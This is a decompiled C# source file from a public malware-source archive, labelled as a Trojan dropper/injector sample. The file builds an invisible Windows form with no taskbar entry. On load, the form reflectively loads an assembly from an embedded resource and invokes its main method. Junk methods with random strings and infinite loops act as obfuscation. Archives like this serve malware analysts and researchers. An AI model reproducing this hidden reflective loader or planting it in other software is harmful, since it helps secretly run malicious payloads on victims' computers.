mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
f2ac1ece55
add
291 lines
8.6 KiB
C#
291 lines
8.6 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type: _2012_D.Form1
|
||
// Assembly: 2012, Version=0.0.0.0, Culture=neutral
|
||
// MVID: FA8E4D06-4395-4F05-87C3-C4C0E16B54D3
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Injector.dblt-11c830b14a7f7fa5e638e993bfad14368652dc14146a3a0f4078ff2c21428131.exe
|
||
|
||
using Microsoft.VisualBasic.CompilerServices;
|
||
using System;
|
||
using System.ComponentModel;
|
||
using System.Diagnostics;
|
||
using System.Drawing;
|
||
using System.Reflection;
|
||
using System.Runtime.CompilerServices;
|
||
using System.Windows.Forms;
|
||
|
||
namespace _2012_D
|
||
{
|
||
[DesignerGenerated]
|
||
public class Form1 : Form
|
||
{
|
||
private IContainer components;
|
||
[AccessedThroughProperty("Button1")]
|
||
private Button _Button1;
|
||
[AccessedThroughProperty("CheckBox1")]
|
||
private CheckBox _CheckBox1;
|
||
[AccessedThroughProperty("Label1")]
|
||
private Label _Label1;
|
||
[AccessedThroughProperty("RadioButton1")]
|
||
private RadioButton _RadioButton1;
|
||
[AccessedThroughProperty("PictureBox1")]
|
||
private PictureBox _PictureBox1;
|
||
|
||
public Form1()
|
||
{
|
||
this.Load += new EventHandler(this.Form1_Load);
|
||
this.InitializeComponent();
|
||
}
|
||
|
||
[DebuggerNonUserCode]
|
||
protected override void Dispose(bool disposing)
|
||
{
|
||
try
|
||
{
|
||
if (!disposing || this.components == null)
|
||
return;
|
||
this.components.Dispose();
|
||
}
|
||
finally
|
||
{
|
||
base.Dispose(disposing);
|
||
}
|
||
}
|
||
|
||
[DebuggerStepThrough]
|
||
private void InitializeComponent()
|
||
{
|
||
label_2:
|
||
int num = 3;
|
||
Point point1;
|
||
Size size1;
|
||
while (true)
|
||
{
|
||
switch (num)
|
||
{
|
||
case 0:
|
||
this.CheckBox1.AutoSize = true;
|
||
CheckBox checkBox1_1 = this.CheckBox1;
|
||
point1 = new Point(25, 61);
|
||
Point point2 = point1;
|
||
checkBox1_1.Location = point2;
|
||
this.CheckBox1.Name = "CheckBox1";
|
||
CheckBox checkBox1_2 = this.CheckBox1;
|
||
size1 = new Size(81, 17);
|
||
Size size2 = size1;
|
||
checkBox1_2.Size = size2;
|
||
this.CheckBox1.TabIndex = 1;
|
||
this.CheckBox1.Text = "CheckBox1";
|
||
this.CheckBox1.UseVisualStyleBackColor = true;
|
||
this.Label1.AutoSize = true;
|
||
Label label1_1 = this.Label1;
|
||
point1 = new Point(25, 88);
|
||
Point point3 = point1;
|
||
label1_1.Location = point3;
|
||
this.Label1.Name = "Label1";
|
||
Label label1_2 = this.Label1;
|
||
size1 = new Size(39, 13);
|
||
Size size3 = size1;
|
||
label1_2.Size = size3;
|
||
this.Label1.TabIndex = 2;
|
||
this.Label1.Text = "Label1";
|
||
num = 2;
|
||
continue;
|
||
case 1:
|
||
goto label_7;
|
||
case 2:
|
||
this.RadioButton1.AutoSize = true;
|
||
RadioButton radioButton1_1 = this.RadioButton1;
|
||
point1 = new Point(28, 113);
|
||
Point point4 = point1;
|
||
radioButton1_1.Location = point4;
|
||
this.RadioButton1.Name = "RadioButton1";
|
||
RadioButton radioButton1_2 = this.RadioButton1;
|
||
size1 = new Size(90, 17);
|
||
Size size4 = size1;
|
||
radioButton1_2.Size = size4;
|
||
this.RadioButton1.TabIndex = 3;
|
||
this.RadioButton1.TabStop = true;
|
||
this.RadioButton1.Text = "RadioButton1";
|
||
this.RadioButton1.UseVisualStyleBackColor = true;
|
||
PictureBox pictureBox1_1 = this.PictureBox1;
|
||
point1 = new Point(113, 46);
|
||
Point point5 = point1;
|
||
pictureBox1_1.Location = point5;
|
||
this.PictureBox1.Name = "PictureBox1";
|
||
PictureBox pictureBox1_2 = this.PictureBox1;
|
||
size1 = new Size(30, 50);
|
||
Size size5 = size1;
|
||
pictureBox1_2.Size = size5;
|
||
this.PictureBox1.TabIndex = 4;
|
||
this.PictureBox1.TabStop = false;
|
||
if (true)
|
||
{
|
||
num = 1;
|
||
continue;
|
||
}
|
||
goto case 0;
|
||
case 3:
|
||
this.Button1 = new Button();
|
||
this.CheckBox1 = new CheckBox();
|
||
this.Label1 = new Label();
|
||
this.RadioButton1 = new RadioButton();
|
||
this.PictureBox1 = new PictureBox();
|
||
((ISupportInitialize) this.PictureBox1).BeginInit();
|
||
this.SuspendLayout();
|
||
Button button1_1 = this.Button1;
|
||
point1 = new Point(25, 22);
|
||
Point point6 = point1;
|
||
button1_1.Location = point6;
|
||
this.Button1.Name = "Button1";
|
||
Button button1_2 = this.Button1;
|
||
size1 = new Size(75, 23);
|
||
Size size6 = size1;
|
||
button1_2.Size = size6;
|
||
this.Button1.TabIndex = 0;
|
||
this.Button1.Text = "Button1";
|
||
this.Button1.UseVisualStyleBackColor = true;
|
||
num = 0;
|
||
continue;
|
||
default:
|
||
goto label_2;
|
||
}
|
||
}
|
||
label_7:
|
||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||
this.AutoScaleMode = AutoScaleMode.Font;
|
||
size1 = new Size(155, 138);
|
||
this.ClientSize = size1;
|
||
this.Controls.Add((Control) this.PictureBox1);
|
||
this.Controls.Add((Control) this.RadioButton1);
|
||
this.Controls.Add((Control) this.Label1);
|
||
this.Controls.Add((Control) this.CheckBox1);
|
||
this.Controls.Add((Control) this.Button1);
|
||
this.Name = nameof (Form1);
|
||
this.Opacity = 0.0;
|
||
this.ShowIcon = false;
|
||
this.ShowInTaskbar = false;
|
||
((ISupportInitialize) this.PictureBox1).EndInit();
|
||
this.ResumeLayout(false);
|
||
this.PerformLayout();
|
||
}
|
||
|
||
internal virtual Button Button1
|
||
{
|
||
get => this._Button1;
|
||
[MethodImpl(MethodImplOptions.Synchronized)] set => this._Button1 = value;
|
||
}
|
||
|
||
internal virtual CheckBox CheckBox1
|
||
{
|
||
get => this._CheckBox1;
|
||
[MethodImpl(MethodImplOptions.Synchronized)] set => this._CheckBox1 = value;
|
||
}
|
||
|
||
internal virtual Label Label1
|
||
{
|
||
get => this._Label1;
|
||
[MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value;
|
||
}
|
||
|
||
internal virtual RadioButton RadioButton1
|
||
{
|
||
get => this._RadioButton1;
|
||
[MethodImpl(MethodImplOptions.Synchronized)] set => this._RadioButton1 = value;
|
||
}
|
||
|
||
internal virtual PictureBox PictureBox1
|
||
{
|
||
get => this._PictureBox1;
|
||
[MethodImpl(MethodImplOptions.Synchronized)] set => this._PictureBox1 = value;
|
||
}
|
||
|
||
private object HIyl7gY2uAFg65()
|
||
{
|
||
double num = 822.0;
|
||
bool flag = false;
|
||
try
|
||
{
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
ProjectData.SetProjectError(ex);
|
||
while (true)
|
||
{
|
||
flag = true;
|
||
num = 15.0;
|
||
}
|
||
}
|
||
return (object) 75254250;
|
||
}
|
||
|
||
private void Form1_Load(object sender, EventArgs e) => this.pleple();
|
||
|
||
public void VGUe8wq3d2B199unLsG4hS()
|
||
{
|
||
bool flag1 = true;
|
||
string str = "#LiDp6T_@x6Z‡lE„015Ej„p„ˆ…l‰F<ƒ‚j@;vA!l}‹ebAx146\u0090]?";
|
||
double num1 = 41.0;
|
||
bool flag2 = false;
|
||
try
|
||
{
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
ProjectData.SetProjectError(ex);
|
||
ProjectData.ClearProjectError();
|
||
}
|
||
flag2 = false;
|
||
flag2 = false;
|
||
double num2 = 31228811.0;
|
||
str = "lu975wea79B7r5570A4J9VISgq3PtH349KMIkH1hgRAI5dYnS1R9EHzjW7Dw8l9OMFKXdv7813RZCJGEPX4S8Do18t";
|
||
int num3 = 939971;
|
||
while (num3 <= 114)
|
||
checked { ++num3; }
|
||
str = "JVV249ch5AK0eUKdOxIeFM9S5WIAbX0450rN18ISI7sSKESbUcAEm9m244FEe2wg8k20TX0Sbs804wV6R";
|
||
num2 = 6330.0;
|
||
while (true)
|
||
{
|
||
flag1 = false;
|
||
num1 = 25.0;
|
||
}
|
||
}
|
||
|
||
public void pleple()
|
||
{
|
||
Assembly assembly = Assembly.Load(_2012_D.My.Resources.Resources.Function_1);
|
||
object[] args = new object[0];
|
||
assembly.GetType("Fun.Usin20").InvokeMember("main", BindingFlags.InvokeMethod, (Binder) null, (object) null, args);
|
||
}
|
||
|
||
private object wMm71r()
|
||
{
|
||
label_2:
|
||
int num1 = 3;
|
||
while (true)
|
||
{
|
||
switch (num1)
|
||
{
|
||
case 0:
|
||
int num2 = (int) MessageBox.Show("iMa;‚KH|Ua|riXƒ@Š~z+sNP<fX4:%GYVMJŽ-P#L!LnaX,yjng’g\u0090‚Y‰‘1‘;…4aP9B<;-‡‡\u0081‡Qyr$€‹0€€Xf%s\\f‡T\u008F\u008FR{Y€}>G5ƒ]]yr1s^)z„18€M$nŽJYyhGl");
|
||
num1 = 2;
|
||
continue;
|
||
case 1:
|
||
goto case 2;
|
||
case 2:
|
||
if (true)
|
||
{
|
||
num1 = 1;
|
||
continue;
|
||
}
|
||
goto case 0;
|
||
case 3:
|
||
num1 = 0;
|
||
continue;
|
||
default:
|
||
goto label_2;
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|